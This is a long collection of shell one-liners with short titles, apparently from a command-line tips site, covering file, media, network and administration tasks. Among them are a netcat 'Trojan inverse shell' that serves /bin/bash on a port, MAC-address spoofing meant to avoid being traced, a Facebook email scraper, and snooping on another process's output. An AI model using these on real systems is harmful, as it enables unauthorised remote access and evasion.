bchunk IMAGE.bin IMAGE.cue IMAGE.iso

# Get the total length of all video / audio in the current dir (and below) in H:m:s
find -type f -name "*.avi" -print0 | xargs -0  mplayer -vo dummy -ao dummy -identify 2>/dev/null | perl -nle '/ID_LENGTH=([0-9\.]+)/ && ($t +=$1) && printf "%02d:%02d:%02d\n",$t/3600,$t/60%60,$t%60' | tail -n 1

# Upgrade all perl modules via CPAN
perl -MCPAN -e 'CPAN::Shell->install(CPAN::Shell->r)'

# Remove invalid key from the known_hosts file for the IP address of a host
ssh-keygen -R `host hostname | cut -d " " -f 4`

# Search back through previous commands
Ctrl-R <search-text>

# for loop with leading zero in bash 3
seq -s " " -w 3 20

# Show apps that use internet connection at the moment. (Multi-Language)
netstat -lantp | grep -i stab | awk -F/ '{print $2}' | sort | uniq

# Start an X app remotely
ssh -f user@remote.ip DISPLAY=:0.0 smplayer movie.avi

# Dump dvd from a different machine onto this one.
ssh user@machine_A dd if=/dev/dvd0 > dvddump.iso

# Quick and dirty convert to flash
ffmpeg -i inputfile.mp4 outputfile.flv

# Ignore a directory in SVN, permanently
svn propset svn:ignore "*" tool/templates_c; svn commit -m "Ignoring tool/templates_c"

# Share your terminal session (remotely or whatever)
screen -x

# Finding files with different extensions
find . -regex '.*\(h\|cpp\)'

# alias to close terminal with :q
alias ':q'='exit'

# How to copy CD/DVD into hard disk (.iso)
dd if=/dev/cdrom of=whatever.iso

# Who needs pipes?
B <<< $(A)

# Download Apple movie trailers
wget -U "QuickTime/7.6.2 (qtver=7.6.2;os=Windows NT 5.1Service Pack 3)" `echo http://movies.apple.com/movies/someHDmovie_720p.mov | sed 's/\([0-9][0-9]\)0p/h\10p/'`

# Unlock your KDE4.3 session remotely
qdbus org.kde.screenlocker /MainApplication quit

# View Processeses like a fu, fu
command ps -Hacl -F S -A f

# Get the 10 biggest files/folders for the current direcotry
du -sk * |sort -rn |head

# Silently Execute a Shell Script that runs in the background and won't die on HUP/logout
nohup /bin/sh myscript.sh 1>&2 &>/dev/null 1>&2 &>/dev/null&

# Copy all documents PDF in disk for your home directory
find / -name "*.pdf" -exec cp -t ~/Documents/PDF {} +



# Convert filenames from ISO-8859-1 to UTF-8
convmv -r -f ISO-8859-1 -t UTF-8 --notest *

# Check which files are opened by Firefox then sort by largest size.
FFPID=$(pidof firefox-bin) && lsof -p $FFPID | awk '{ if($7>0) print ($7/1024/1024)" MB -- "$9; }' | grep ".mozilla" | sort -rn

# grep certain file types recursively
grep -r --include="*.[ch]" pattern .

# Get a regular updated list of zombies
watch "ps auxw | grep [d]efunct"

# Check if a domain is available and get the answer in just one line
whois domainnametocheck.com | grep match

# Remove newlines from output
grep . filename

# Get the size of all the directories in current directory
du --max-depth=1

# Sum columns from CSV column $COL
perl  -ne 'split /,/ ; $a+= $_[3]; END {print $a."\n";}' -f ./file.csv

# Conficker Detection with NMAP
nmap -PN -d -p445 --script=smb-check-vulns --script-args=safe=1 IP-RANGES

# find and delete empty directories recursively
find . -depth -type d -empty -exec rmdir -v {} +

# create an incremental backup of a directory using hard links
rsync -a --delete --link-dest=../lastbackup $folder $dname/

# How many files in the current directory ?
find . -maxdepth 1 -type f | wc -l

# Get Futurama quotations from slashdot.org servers
echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | egrep "Bender|Fry" | sed "s/X-//"

# Change the case of a single word in vim
g~w

# Find the dates your debian/ubuntu packages were installed.
ls /var/lib/dpkg/info/*.list -lht |less

# Follow the most recently updated log files
ls -drt /var/log/* | tail -n5 | xargs sudo tail -n0 -f

# vmstat/iostat with timestamp
vmstat 1 | awk '{now=strftime("%Y-%m-%d %T "); print now $0}'

# Matrix Style
LC_ALL=C tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"

# Update dyndns.org with your external IP.
curl -v -k -u user:password "https://members.dyndns.org/nic/update?hostname=<your_domain_name_here>&myip=$(curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g')&wildcard=NOCHG&mx=NOCHG&backmx=NOCHG"

# Get the canonical, absolute path given a relative and/or noncanonical path
readlink -f ../super/symlink_bon/ahoy

# Migrate existing Ext3 filesystems to Ext4
tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition

# Apply substitution only on the line following a marker
sed '/MARKER/{N;s/THIS/THAT/}'

# LDAP search to query an ActiveDirectory server
ldapsearch -LLL -H ldap://activedirectory.example.com:389 -b 'dc=example,dc=com' -D 'DOMAIN\Joe.Bloggs' -w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)'

# Read a keypress without echoing it
stty cbreak -echo; KEY=$(dd bs=1 count=1 2>/dev/null); stty -cbreak echo

# change exif data in all jpeg's
for f in *.jpg; do exif --ifd=0 --tag=0x0110 --set-value="LOMO LC-A" --output=$f $f; exif --ifd=0 --tag=0x010f --set-value="LOMO" --output=$f $f; 	done }



# Setup an ssh tunnel
ssf -f -N -L 4321:home.network.com:25 user@home.network.com

# remote diff with side-by-side ordering.
ssh $HOST -l$USER cat /REMOTE/FILE | sdiff /LOCAL/FILE -

# Changing tha mac adresse
sudo ifconfig eth0 hw ether 00:01:02:03:04:05

# Mac Sleep Timer
sudo pmset schedule sleep "08/31/2009 00:00:00"

# List top ten files/directories sorted by size
du -sb *|sort -nr|head|awk '{print $2}'|xargs du -sh

# Follow the flow of a log file
tailf file.log

# Print IP of any interface. Useful for scripts.
ip route show dev ppp0 | awk '{ print $7 }'

# Launch a VirtualBox virtual machine
VBoxManage startvm "name"

# burn an ISO image to writable CD
wodim cdimage.iso

# Date shows dates at other times/dates
date -d '2 weeks ago'

# Twitpic upload and Tweet
curl --form username=from_twitter --form password=from_twitter --form media=@/path/to/image --form-string "message=tweet" http://twitpic.com/api/uploadAndPost

# eth-tool summary of eth# devices
for M in 0 1 2 3 ; do echo eth$M ;/sbin/ethtool eth$M | grep -E "Link|Speed" ; done

# Record output of any command using 'tee' at backend; mainly can be used to capture the output of ssh from client side while connecting to a server.
ssh user@server | tee logfilename

# Get the IP address of a machine. Just the IP, no junk.
/sbin/ifconfig -a | awk '/(cast)/ { print $2 }' | cut -d':' -f2 | head -1

# Convert images (jpg, png, ...) into a PDF
convert images*.* <my_pdf>.pdf

# backup a directory in a timestamped tar.gz
tar -czvvf backup$(date "+%Y%m%d_%H%M%S").tar.gz /path/to/dir

# Execute a command on logout
trap cmd 0

# Watch the progress of 'dd'
dd if=/dev/urandom of=file.img bs=4KB& pid=$!

# Have subversion ignore a file pattern in a directory
svn propset svn:ignore "*txt" log/

# Show a Command's Short Description
whatis [command-name]

# Hiding password while reading it from keyboard
save_state=$(stty -g);echo -n "Password: ";stty -echo;read password;stty "$save_state";echo "";echo "You inserted $password as password"

# List files above a given threshold
find . -type f -size +25000k -exec ls -lh {} \; | awk '{ print $8 ": " $5 }'

# rapidshare download script in 200 characters
u=`curl -d 'dl.start=Free' $(curl $1|perl -wpi -e 's/^.*"(http:\/\/rs.*)" method.*$/$1/'|egrep '^http'|head -n1)|grep "Level(3) \#2"|perl -wpi -e 's/^.*(http:\/\/rs[^\\\\]*).*$/$1/'`;sleep 60;wget $u

# Find the 20 biggest directories on the current filesystem
du -xk | sort -n | tail -20

# Remote copy directories and files through an SSH tunnel host
rsync -avz -e 'ssh -A sshproxy ssh' srcdir remhost:dest/path/



# Find all directories on filesystem containing more than 99MB
du -hS / | perl -ne '(m/\d{3,}M\s+\S/ || m/G\s+\S/) && print'

# Pack up some files into a tarball on a remote server without writing to the local filesystem
tar -czf - * | ssh example.com "cat > files.tar.gz"

# Kill all processes beloging to a single user.
kill -9 `ps -u <username> -o "pid="`

# Add a function you've defined to .bashrc
addfunction () { declare -f $1 >> ~/.bashrc ; }

# Enable automatic typo correction for directory names
shopt -s cdspell

# Create a backup of file being edited while using vi
:!cp % %-

# Display calendar with specific national holidays and week numbers
gcal -K -q GB_EN 2009 # display holidays in UK/England for 2009 (with week numbers)

# Simplified video file renaming
for f in *;do mplayer $f;read $n;mv $f $n;done

# Add a Clock to Your CLI
export PS1="${PS1%\\\$*}"' \t \$ '

# Converts a single FLAC file with associated cue file into multiple FLAC files
cuebreakpoints "$2" | shnsplit -o flac "$1"

# Mount a partition from within a complete disk dump
INFILE=/path/to/your/backup.img; MOUNTPT=/mnt/foo; PARTITION=1; mount "$INFILE" "$MOUNTPT" -o loop,offset=$[ `/sbin/sfdisk -d "$INFILE" | grep "start=" | head -n $PARTITION | tail -n1 | sed 's/.*start=[ ]*//' | sed 's/,.*//'` * 512 ]

# Installing True-Type fonts
ttmkfdir mkfontdir fc-cache /usr/share/fonts/miscttf

# See how many % of your memory firefox is using
ps -o %mem= -C firefox-bin | sed -s 's/\..*/%/'

# Replicate a directory structure dropping the files
for x in `find /path/ -type d | cut -b bytesoffoldername-`; do mkdir -p newpath/$x; done

# useful tail on /var/log to avoid old logs or/and gzipped files
tail -f *[!.1][!.gz]

# Trojan inverse shell
nc -l -p 2000 -e /bin/bash

# Check the status of a network interface
mii-tool [if]

# New command with the last argument of the previous command.
command !$

# Convert a bunch of HTML files from ISO-8859-1 to UTF-8 file encoding in a folder and all sub-folders
for x in `find . -name '*.html'` ; do iconv -f ISO-8859-1 -t UTF-8 $x > "$x.utf8"; rm $x; mv "$x.utf8" $x; done

# Find out current working directory of a process
echo COMMAND | xargs -ixxx ps -C xxx -o pid= | xargs -ixxx ls -l /proc/xxx/cwd

# Mount and umount iso files
function miso () { mkdir ~/ISO_CD && sudo mount -o loop "$@" ~/ISO_CD && cd ~/ISO_CD && ls; } function uiso () { cd ~ && sudo umount ~/ISO_CD && rm -r ~/ISO_CD; }

# find .txt files inside a directory and replace every occurrance of a word inside them via sed
find . -name '*.txt' -exec sed -ir 's/this/that/g' {} \;

# for too many arguments by *
echo *.log | xargs <command>

# Find files that are older than x days
find . -type f -mtime +7 -exec ls -l {} \;

# show lines that appear in both file1 and file2
comm -1 -2 <(sort file1) <(sort file2)



# connect to X login screen via vnc
x11vnc -display :0 -auth $(ps -ef|awk '/xauth/ {print $15}'|head -1) -forever -bg &

# use vi key bindings at the command line
set -o vi

# ionice limits process I/O, to keep it from swamping the system (Linux)
ionice -c3 find /

# Repeatedly purge orphaned packages on Debian-like Linuxes
while [ $(deborphan | wc -l) -gt 0 ]; do dpkg --purge $(deborphan); done

# Watch the disk fill up
watch -n 1 df

# convert filenames in current directory to lowercase
for i in *; do mv "$i" "$(echo $i|tr A-Z a-z)"; done

# Remove a file whose name begins with a dash ( - ) character
rm ./-filename

# Insert a colon between every two digits
sed 's/\(..\)/\1:/g;s/:$//' mac_address_list

# Update program providing a functionality on Debian
update-alternatives --config java

# Create MySQL-Dump, copy db to other Server and upload the db.
mysqldump -uUserName -pPassword tudb | ssh root@rootsvr.com "mysql -uUserName -pPassword -h mysql.rootsvr.com YourDBName"

# Change the window title of your xterm
echo "^[]0;My_Title_Goes _Here^G"

# Watch Data Usage on eth0
watch ifconfig eth0

# recursively change file name from uppercase to lowercase (or viceversa)
find . -type f|while read f; do mv $f `echo $f |tr '[:upper:]' '[ :lower:]'`; done

# Always tail/edit/grep the latest file in a directory of timestamped files
tail -f /path/to/timestamped/files/file-*(om[1])

# gpg decrypt a file
gpg --output foo.txt --decrypt foo.txt.pgp

# Show all programs on UDP and TCP ports with timer information
netstat -putona

# Get contents from hosts, passwd, groups even if they're in DB/LDAP/other
getent [group|hosts|networks|passwd|protocols|services] [keyword]

# Show a passive popup in KDE
kdialog --passivepopup <text> <timeout>

# Copy your SSH public key on a remote machine for passwordless login.
cat ~/.ssh/*.pub | ssh user@remote-system 'umask 077; cat >>.ssh/authorized_keys'

# Copy something to multiple SSH hosts with a Bash loop
for h in host1 host2 host3 host4 ; { scp file user@h$:/destination_path/ ; }

# Unix time to local time
date -R -d @1234567890

# Configure second monitor to sit to the right of laptop
xrandr --output LVDS --auto --output VGA --auto --right-of LVDS

# Create a mirror of a local folder, on a remote server
rsync -e "/usr/bin/ssh -p22" -a --progress --stats --delete -l -z -v -r -p /root/files/ user@remote_server:/root/files/

# Watch for when your web server returns
watch -n 15 curl -s --connect-timeout 10 http://www.google.com/

# List only the directories
ls -l | egrep ^d



# find the difference between two nodes
diff <(ssh nx915000 "rpm -qa") <(ssh nx915001 "rpm -qa")

# rsync with progress bar.
rsync -av --progress ./file.txt user@host:/path/to/dir

# Switch to a user with "nologin" shell
sudo -u username bash

# a find and replace within text-based files, to locate and rewrite text en mass.
find . -name "*.txt" | xargs perl -pi -e 's/old/new/g'

# do a full file listing of every file found with locate
locate searchstring | xargs ls -l

# Reset terminal that has been buggered by binary input or similar
stty sane

# list processes with established tcp connections (without netstat)
lsof -i -n | grep ESTABLISHED

# Remove invalid host keys from ~/.ssh/known_hosts
ssh-keygen -R \[localhost\]:8022

# Get the full path to a file
realpath examplefile.txt

# Changes standard mysql client output to 'less'.
echo -e "[mysql]\npager=less -niSFX" >> ~/.my.cnf

# Watch how fast the files in a drive are being deleted
watch "df | grep /path/to/drive"

# processes per user counter
ps aux |awk '{$1}  {++P[$1]} END {for(a in P) if (a !="USER") print a,P[a]}'

# intercept stdout/stderr of another process
strace -ff -e write=1,2 -s 1024 -p PID  2>&1 | grep "^ |" | cut -c11-60 | sed -e 's/ //g' | xxd -r -p

# deaggregate ip ranges
/bin/grep - ipranges.txt | while read line; do ipcalc $line ; done  | grep -v deag

# See why a program can't seem to access a file
strace php tias.php -e open,access 2>&1 | grep foo.txt

# Quickly analyse an Apache error log
for i in emerg alert crit error warn ; do awk '$6 ~ /^\['$i'/ {print substr($0, index($0,$6)) }' error_log | sort | uniq -c | sort -n | tail -1;  done

# Open files in a split windowed Vim
vim -o file1 file2...

# bash pause command
read -p "Press enter to continue.."

# Determine whether a CPU has 64 bit capability or not
if cat /proc/cpuinfo | grep " lm " &> /dev/null; then echo "Got 64bit" ; fi

# Determine whether a CPU has 64 bit capability or not
sudo dmidecode --type=processor | grep -i -A 1 charac

# Ping scanning without nmap
for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from'; done

# List shell functions currently loaded in memory (/bin/sh)
hv() { hash -v | less -p '^function' ;} usage: hv

# easily find megabyte eating files or directories
du -cks * | sort -rn | while read size fname; do for unit in k M G T P E Z Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size=$((size/1024)); done; done

# Sort the current buffer in vi or vim.
:%sort

# Create and replay macros in vim
<esc> q a ...vim commands... <esc> q (to record macro) @a (plays macro 'a').



# Perl Simple Webserver
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 ? "./$1 |" : $1) if /^GET \/(.*) / })'

# colorize your svn diff
svn diff | vim -

# Change prompt to MS-DOS one (joke)
export PS1="C:\$( pwd | sed 's:/:\\\\\:g' )> "

# Watch active calls on an Asterisk PBX
watch -n 1 "sudo asterisk -vvvvvrx 'core show channels' | grep call"

# Show top SVN committers for the last month
svn log -r {`date +"%Y-%m-%d" -d "1 month ago"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c

# Show simple disk IO table using snmp
watch -n1 snmptable -v2c -c public localhost diskIOTable

# dump a single table of a database to file
mysqldump -u UNAME -p DBNAME TABLENAME> FILENAME

# Convert files from DOS line endings to UNIX line endings
perl -pi -e 's/\r\n?/\n/g'

# Convert files from DOS line endings to UNIX line endings
fromdos *

# validate json
curl -s -X POST http://www.jsonlint.com/ajax/validate -d json="`cat file.js`" -d reformat=no

# Simple top directory usage with du flips for either Linux or base Solaris
( du -xSk || du -kod ) | sort -nr | head

# Pronounce an English word using Merriam-Webster.com
pronounce(){ wget -qO- $(wget -qO- "http://www.m-w.com/dictionary/$@" | grep 'return au' | sed -r "s|.*return au\('([^']*)', '([^'])[^']*'\).*|http://cougar.eb.com/soundc11/\2/\1|") | aplay -q; }

# show git commit history
git reflog show | grep '}: commit' | nl | sort -nr | nl | sort -nr | cut --fields=1,3 | sed s/commit://g | sed -e 's/HEAD*@{[0-9]*}://g'

# Detect Language of a string
detectlanguage(){ curl -s "http://ajax.googleapis.com/ajax/services/language/detect?v=1.0&q=$@" | sed 's/{"responseData": {"language":"\([^"]*\)".*/\1\n/'; }

# Backup all mysql databases to individual files on a remote server
for I in $(mysql -e 'show databases' -u root --password=root -s --skip-column-names); do mysqldump -u root --password=root $I | gzip -c | ssh user@server.com "cat > /remote/$I.sql.gz"; done

# Top ten (or whatever) memory utilizing processes (with children aggregate)
ps axo rss,comm,pid | awk '{ proc_list[$2]++; proc_list[$2 "," 1] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc "," 1],proc); }}' | sort -n | tail -n 10

# split and combine different pages from different pdf's
pdftk A=chapters.pdf B=headings.pdf C=covers.pdf cat C1 B1 A1-7 B2 A8-10 C2 output book.pdf

# Get all mac address
ip link show

# Recursively remove .svn directories
find . -type d -name .svn -delete

# Upload image to www.imageshack.us
function upimage { curl -H Expect: -F fileupload="@$1" -F xml=yes -# "http://www.imageshack.us/index.php" | grep image_link | grep -o http[^\<]*; }

# Print Memory Utilization Percentage For a specific process and it's children
TOTAL_RAM=`free | head -n 2 | tail -n 1 | awk '{ print $2 }'`; PROC_RSS=`ps axo rss,comm | grep [h]ttpd | awk '{ TOTAL += $1 } END { print TOTAL }'`; PROC_PCT=`echo "scale=4; ( $PROC_RSS/$TOTAL_RAM ) * 100" | bc`; echo "RAM Used by HTTP: $PROC_PCT%"

# Extract audio from start to end position from a video
mplayer -vc null -vo null -ao pcm <input video file> -ss <start> -endpos <end>

# tail: watch a filelog
tail -n 50 -f /var/log/apache2/access_log /var/log/apache2/error_log

# Numerically sorted human readable disk usage
du -x --max-depth=1 | sort -n | awk '{ print $2 }' | xargs du -hx --max-depth=0

# Type a random string into a X11 window
sleep 3 && xdotool type --delay 0ms texthere



# Introduction to user commands
man intro

# shows the full path of shell commands
which command

# convert a line to a space
cat file | tr '\n' ''

# Clean way of re-running bash startup scripts.
exec bash

# Pipe text from shell to windows cut and paste buffer using PuTTY and XMing.
echo "I'm going to paste this into WINDERS XP" | xsel -i

# Weather on the Command line
lynx -dump http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=KCALOSAN32 | grep GMT | awk '{print $3}'

# Facebook Email Scraper
fbemailscraper YourFBEmail Password

# Using numsum to sum a column of numbers.
numsum count.txt

# Activate Remote Desktop REMOTELY!!!
wmic /node:"RemoteServer" /user:"domain\AdminUser" /password:"password" RDToggle where servername="RemoteServer" call SetAllowTSConnections 1

# Query Wikipedia via console over DNS
mwiki () { blah=`echo $@ | sed -e 's/ /_/g'`; dig +short txt $blah.wp.dg.cx; }

# Remove everything except that file
find . ! -name <FILENAME> -delete

# Remove everything except that file
( shopt -s extglob; rm !(<PATTERN>) )

# Remove today's Debian installed packages
grep -e `date +%Y-%m-%d` /var/log/dpkg.log | awk '/install / {print $4}' | uniq | xargs apt-get -y remove

# Lookup your own IPv4 address
dig +short myip.opendns.com @resolver1.opendns.com

# List all authors of a particular git project
git log --format='%aN' | sort -u

# Chage default shell for all users [FreeBSD]
cd /usr/home && for i in *;do chsh -s bash $i;done

# Copy a file over SSH without SCP
ssh HOST cat < LOCALFILE ">" REMOTEFILE

# Print trending topics on Twitter
curl --silent search.twitter.com | sed -n '/div id=\"hot\"/,/div/p' | awk -F\> '{print $2}' | awk -F\< '{print $1}' | sed '/^$/d'

# Extract tarball from internet without local saving
curl http://example.com/a.gz | tar xz

# scan folder to check syntax error in php files
find . -name "*.php" -exec php -l {} \;

# count and number lines of output, useful for counting number of matches
ps aux | grep [a]pache2 | nl

# Upgrade all perl modules via CPAN
cpan -r

# List all TCP opened ports on localhost in LISTEN mode
netstat -nptl

# list all opened ports on host
sudo lsof -P -i -n -sTCP:LISTEN

# Send a local file via email
mpack -s "Backup: $file" "$file" email@id.com



# list all opened ports on host
nmap -p 1-65535 --open localhost

# Convert wmv into avi
mencoder infile.wmv -ofps 23.976 -ovc lavc -oac copy -o outfile.avi

# Determining the excat memory usages by certain PID
pmap -d <<pid>>

# generate random password
openssl rand -base64 6

# Convert encoding of given files from one encoding to another
iconv -f utf8 -t utf16 /path/to/file

# Start another X session in a window
startx -- /usr/bin/Xephyr :2

# Locking and unlocking files and mailboxes
lockfile

# Plot frequency distribution of words from files on a terminal.
cat *.c | { printf "se te du\nplot '-' t '' w dots\n"; tr '[[:upper:]]' '[[:lower:]]' | tr -s [[:punct:][:space:]] '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print $1}END{print "e"}'; } | gnuplot

# Short Information about loaded kernel modules
awk '{print $1}' "/proc/modules" | xargs modinfo | awk '/^(filename|desc|depends)/'

# Short Information about loaded kernel modules
modinfo $(cut -d' ' -f1 /proc/modules) | sed '/^dep/s/$/\n/; /^file\|^desc\|^dep/!d'

# Shows you how many hours of avi video you have.
/usr/share/mplayer/midentify.sh `find . -name "*.avi" -print` | grep ID_LENGTH | awk -F "=" '{sum += $2} END {print sum/60/60; print "hours"}'

# Output Detailed Process Tree for any User
psu(){ command ps -Hcl -F S f -u ${1:-$USER}; }

# Create subdirectory and move files into it
(ls; mkdir subdir; echo subdir) | xargs mv

# Commit only newly added files to subversion repository
svn ci `svn stat |awk '/^A/{printf $2" "}'`

# Use the arguments used in the last command
mkdir !*

# Display GCC Predefined Macros
gcc -dM -E - <<<''

# Enable cd by variable names
shopt -s cdable_vars

# Show current weather for any US city or zipcode
weather() { lynx -dump "http://mobile.weather.gov/port_zh.php?inputstring=$*" | sed 's/^ *//;/ror has occ/q;2h;/__/!{x;s/\n.*//;x;H;d};x;s/\n/ -- /;q';}

# tail, with specific pattern colored
tail -F file | egrep --color 'pattern|$'

# validate the syntax of a perl-compatible regular expression
perl -we 'my $regex = eval {qr/.*/}; die "$@" if $@;'

# Perform sed substitution on all but the last line of input
sed -e "$ ! s/$/,/"

# Count the total number of files in each immediate subdirectory
find . -type f -printf "%h\n" | cut -d/ -f-2 | sort | uniq -c | sort -rn

# Comment out a line in a file
sed -i '19375 s/^/#/' file

# Refresh the cache of font directory
sudo fc-cache -f -v

# Insert a comment on command line for reminder
ls -alh #mycomment



# A little bash daemon =)
echo "Starting Daemon"; ( while :; do sleep 15; echo "I am still running =]"; done ) & disown -h -ar $!

# Create a single-use TCP proxy with debug output to stderr
socat -v tcp4-l:<port> tcp4:<host>:<port>

# find . -name
find . -name "*.txt" -exec sed -i "s/old/new/" {} \;

# Get the total length of all videos in the current dir in H:m:s
mplayer -vo dummy -ao dummy -identify * 2>&1 | grep ID_LENGTH  | sed 's/.*=\([0-9]*\)/\1/' | xargs echo | sed 's/ /+/g' | bc | awk 'S=$1; {printf "%dh:%dm:%ds\n",S/(60*60),S%(60*60)/60,S%60}'

# Quick command line math
expr 512 \* 7

# Show apps that use internet connection at the moment.
netstat -lantp | grep -i establ | awk -F/ '{print $2}' | sort | uniq

# Ping Twitter to check if you can connect
wget http://twitter.com/help/test.json -q -O -

# Record audio and video from webcam using mencoder
mencoder tv:// -tv driver=v4l2:width=800:height=600:device=/dev/video0:fps=30:outfmt=yuy2:forceaudio:alsa:adevice=hw.2,0 -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1800 -ffourcc xvid -oac mp3lame -lameopts cbr=128 -o output.avi

# View webcam output using mplayer
mplayer tv:// -tv driver=v4l2:width=640:height=480:device=/dev/video0:fps=30:outfmt=yuy2

# Happy Days
echo {'1,2,3',4}" o'clock" ROCK

# no more line wrapping in your terminal
function nowrap { export COLS=`tput cols` ; cut -c-$COLS ; unset COLS ; }

# Convert multiple files using avidemux
for i in `ls`;do avidemux  --video-codec Xvid4 --load $i --save $i.mp4 --quit; done

# Edit your command in vim ex mode by &lt;ctrl-f&gt;
<ctrl-f> in ex mode in vim

# When was your OS installed?
ls -lct /etc/ | tail -1 | awk '{print $6, $7, $8}'

# How to know the total number of packages available
apt-cache stats

# Create a large test file (taking no space).
dd bs=1 seek=2TB if=/dev/null of=ext3.test

# List of reverse DNS records for a subnet
nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print"("$2") no PTR";else print$3" is "$2}' | grep '('

# Find files that were modified by a given command
strace <name of the program>

# Parallel file downloading with wget
wget -nv http://en.wikipedia.org/wiki/Linux -O- | egrep -o "http://[^[:space:]]*.jpg" | xargs -P 10 -r -n 1 wget -nv

# How to run a command on a list of remote servers read from a file
dsh -M -c -f servers -- "command HERE"

# Get Dollar-Euro exchage rate
curl -s wap.kitco.com/exrate.wml | awk ' BEGIN { x=0; FS = "<" } { if ($0~"^<br/>") {x=0} if (x==1) {print $1} if ($0~"EUR/US") {x=1} }'

# get the latest version
mirror=ftp://somemirror.com/with/alot/versions/but/no/latest/link; latest=$(curl -l $mirror/ 2>/dev/null | grep util | tail -1); wget $mirror/$latest

# Remotely sniff traffic and pass to snort
ssh root@pyramid \ "tcpdump -nn -i eth1 -w -" | snort -c /etc/snort/snort.conf -r -

# Copy structure
structcp(){ ( mkdir -pv $2;f="$(realpath "$1")";t="$(realpath "$2")";cd "$f";find * -type d -exec mkdir -pv $t/{} \;);}

# Print a random 8 digit number
jot -r -n 8 0 9 | rs -g 0



# Remove empty directories
find . -type d -empty -delete

# Show GCC-generated optimization commands when using the "-march=native" or "-mtune=native" switches for compilation.
cc -march=native -E -v - </dev/null 2>&1 | grep cc1

# for all who don't have the watch command
watch() { while test :; do clear; date=$(date); echo -e "Every "$1"s: $2 \t\t\t\t $date"; $2; sleep $1; done }

# Terminal redirection
script -f /dev/pts/3

# Convert deb to rpm
alien -r -c file.deb

# grep certain file types recursively
find . -name "*.[ch]" | xargs grep "TODO"

# On Mac OS X, runs System Profiler Report and e-mails it to specified address.
system_profiler | mail -s "$HOSTNAME System Profiler Report" user@domain.com

# Get a regular updated list of zombies
watch "ps auxw | grep 'defunct' | grep -v 'grep' | grep -v 'watch'"

# Picture Renamer
jhead -n%Y%m%d-%H%M%S *.jpg

# Define an alias with a correct completion
old='apt-get'; new="su-${old}"; command="sudo ${old}"; alias "${new}=${command}"; $( complete | sed -n "s/${old}$/${new}/p" ); alias ${new}; complete -p ${new}

# Get your external IP address if your machine has a DNS entry
dig +short $HOSTNAME

# get time in other timezones
tzwatch

# benchmark web server with apache benchmarking tool
ab -n 9000 -c 900 localhost:8080/index.php

# Go to parent directory of filename edited in last command
cd `dirname $_`

# grep (or anything else) many files with multiprocessor power
find . -type f -print0 | xargs -0 -P 4 -n 40 grep -i foobar

# Sort your music
for file in *.mp3;do mkdir -p "$(mp3info -p "%a/%l" "$file")" && ln -s "$file" "$(mp3info -p "%a/%l/%t.mp3" "$file")";done

# convert a web page into a pdf
touch $2;firefox -print $1 -printmode PDF -printfile $2

# concat multiple videos into one (and add an audio track)
cat frame/*.mpeg | ffmpeg -i $ID.mp3 -i - -f dvd -y track/$ID.mpg 2>/dev/null

# convert (almost) any image into a video
ffmpeg -loop_input -f image2 -r 30000/1001 -t $seconds -i frame/$num.ppm -y frame/%02d.mpeg 2>/dev/null

# Create AUTH PLAIN string to test SMTP AUTH session
printf '\!:1\0\!:1\0\!:2' | mmencode | tr -d '\n' | sed 's/^/AUTH PLAIN /'

# get a desktop notification from the terminal
alias z='zenity --info --text="You will not believe it, but your command has finished now! :-)" --display :0.0'

# Who invoked me? / Get parent command
ps -o comm= -p $(ps -o ppid= -p $$)

# Cap apt-get download speed
sudo apt-get -o Acquire::http::Dl-Limit=25 install <package>

# Sort IPV4 ip addresses
sort -t. -k1,1n -k2,2n -k3,3n -k4,4n

# Save man pages to pdf
man -t man | ps2pdf - > man.pdf



# ssh autocomplete
complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq | grep -v "\["`;)" ssh

# Encrypted archive with openssl and tar
tar c folder_to_encrypt | openssl enc -aes-256-cbc -e > secret.tar.enc

# Mount a partition from within a complete disk dump
lomount -diskimage /path/to/your/backup.img -partition 1 /mnt/foo

# Takes an html file and outputs plain text from it
lynx -dump somefile.html

# Resets your MAC to a random MAC address to make you harder to find.
ran=$(head /dev/urandom | md5sum); MAC=00:07:${ran:0:2}:${ran:3:2}:${ran:5:2}:${ran:7:2}; sudo ifconfig wlan0 down hw ether $MAC; sudo ifconfig wlan0 up; echo ifconfig wlan0:0

# zsh only: access a file when you don't know the path, if it is in PATH
file =top

# A bit of privacy in .bash_history
export HISTCONTROL=ignoreboth

# Format ps command output
ps ax -o "%p %U %u %x %c %n"

# Using the urxvt terminal daemon
urxvtd -q -o -f

# ignore hidden directory in bash completion (e.g.  .svn)
bind 'set match-hidden-files off'

# Search through files, ignoring .svn
find . -not \( -name .svn -prune \) -type f -print0 | xargs --null grep <searchTerm>

# Colorize matching string without skipping others
egrep --color=auto 'usb|' /var/log/messages

# List programs with open ports and connections
netstat -ntauple

# quickly backup or copy a file with bash
cp -bfS.bak filename filename

# stop windows update
runas /user:administrator net stop wuauserv

# Update your OpenDNS network ip
wget -q --user=<username> --password=<password> 'https://updates.opendns.com/nic/update?hostname=your_opendns_hostname&myip=your_ip' -O -

# show installed but unused linux headers, image, or modules
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d'

# detach remote console for long running operations
dtach -c /tmp/wires-mc mc

# Paste the contents of OS X clipboard into a new text file
pbpaste > newfile.txt

# extract email adresses from some file (or any other pattern)
grep -Eio '([[:alnum:]_.]+@[[:alnum:]_]+?\.[[:alpha:].]{2,6})' file.html

# Count to 65535 in binary (for no apparent reason)
a=`printf "%*s" 16`;b=${a//?/{0..1\}}; echo `eval "echo $b"`

